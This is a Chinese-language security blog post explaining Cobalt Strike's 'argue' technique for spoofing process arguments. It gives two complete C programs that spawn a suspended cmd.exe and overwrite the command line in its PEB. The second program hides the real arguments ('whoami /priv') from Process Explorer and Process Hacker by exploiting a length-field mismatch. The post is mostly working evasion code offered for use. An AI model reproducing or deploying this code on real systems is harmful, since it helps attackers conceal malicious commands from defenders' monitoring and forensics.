idiotc4t's blog
搜索文档…
GitBook 提供支持
CobaltStrike Argue命令实现

简介

在Cobalt Strike 3.13版本的时候引入了一个进程参数欺骗的技术(虽然现在都4.0了),可以使进程在创建时记录的参数与实际运行时不同,windows系统从peb的commandline中读取参数,并对参数做相应的处理,在线程未初始化完成前,我们可以修改参数,并让进程执行它,在操作上几乎与命令行伪装一样,只是有一些流程上的不同,这里不过多赘述详见伪装命令行规避检测

利用流程

    1.
    创建一个挂起的cmd或powershell进程。
    2.
    读取peb内的RTL_USER_PROCESS_PARAMETERS结构体。
    3.
    定位到commandline的buffer指针。
    4.
    修改buffer的存放的commandline。

代码实现

1
#include <stdio.h>
2
#include <Windows.h>
3
#include <winternl.h>
4
5
6
typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
7
8
int main()
9
{
10
11
ULONG lenght = 0;
12
HMODULE hModule;
13
PROCESS_BASIC_INFORMATION ProcessInformation;
14
pNtQueryInformationProcess NtQueryInformationProcess;
15
wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir";
16
//.&& whoami / priv && pause"
17
wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";
18
19
hModule = LoadLibraryA("ntdll.dll");
20
21
STARTUPINFOA si = { 0 };
22
si.cb = sizeof(si);
23
PROCESS_INFORMATION pi = { 0 };
24
25
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
26
27
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
28
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
29
30
RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
31
PEB peb = { 0 };
32
33
ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
34
ReadProcessMemory(
35
pi.hProcess,
36
peb.ProcessParameters,
37
&rupp,
38
sizeof(RTL_USER_PROCESS_PARAMETERS)
39
, NULL);
40
41
WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
42
ResumeThread(pi.hThread);
43
44
return 0;
45
}
Copied!
执行了修改后的参数:

扩展利用

前面我们说了process hacker和process explorer等进程监视工具会从peb内直接读取commandline的内容,这时就有小朋友要问了,那我们这么做不是会被发现吗(不皮了不皮了)。
实际上这么做确实会被此类工具发现明显异常,但由于操作系统读取数据和此类工具读取数据存在一定差异,我们可以利用这样的读取差异来隐藏我们真实的参数。
由于进程监视工具(啃过源码)会先读取commandline的length,根据length的值来读取commandline.buffer的内容,而操作系统则由是通过'\x00'来判断字符串是否结束。
这时我们可以写入一个比length更长的命令让监视工具的读取不完全,那么我们就可以在此类工具中伪装commandline。

代码

1
#include <stdio.h>
2
#include <Windows.h>
3
#include <winternl.h>
4
5
6
typedef DWORD(*pNtQueryInformationProcess) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
7
8
int main()
9
{
10
11
ULONG lenght = 0;
12
HMODULE hModule;
13
PROCESS_BASIC_INFORMATION ProcessInformation;
14
pNtQueryInformationProcess NtQueryInformationProcess;
15
wchar_t CommandLine[] = L"C:\\Windows\\system32\\cmd.exe /c dir . && whoami /priv && pause";
16
17
wchar_t CurrentDirectory[] = L"C:\\Windows\\system32\\";
18
19
hModule = LoadLibraryA("ntdll.dll");
20
21
STARTUPINFOA si = { 0 };
22
si.cb = sizeof(si);
23
PROCESS_INFORMATION pi = { 0 };
24
25
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\system32\\cmd.exe /c whoami", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
26
27
NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hModule, "NtQueryInformationProcess");
28
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
29
30
RTL_USER_PROCESS_PARAMETERS rupp = { 0 };
31
PEB peb = { 0 };
32
33
ReadProcessMemory(pi.hProcess, ProcessInformation.PebBaseAddress, &peb, sizeof(peb), NULL);
34
ReadProcessMemory(
35
pi.hProcess,
36
peb.ProcessParameters,
37
&rupp,
38
sizeof(RTL_USER_PROCESS_PARAMETERS)
39
, NULL);
40
41
WriteProcessMemory(pi.hProcess, (LPVOID)rupp.CommandLine.Buffer, CommandLine, sizeof(CommandLine), NULL);
42
ResumeThread(pi.hThread);
43
44
return 0;
45
}
Copied!

实现效果

process explorer
process hacker
dir . && whoami /priv && pause

LINKS

GitBook
@_xpn_ - How to Argue like Cobalt Strike
XPN InfoSec Blog
最近更新 1yr ago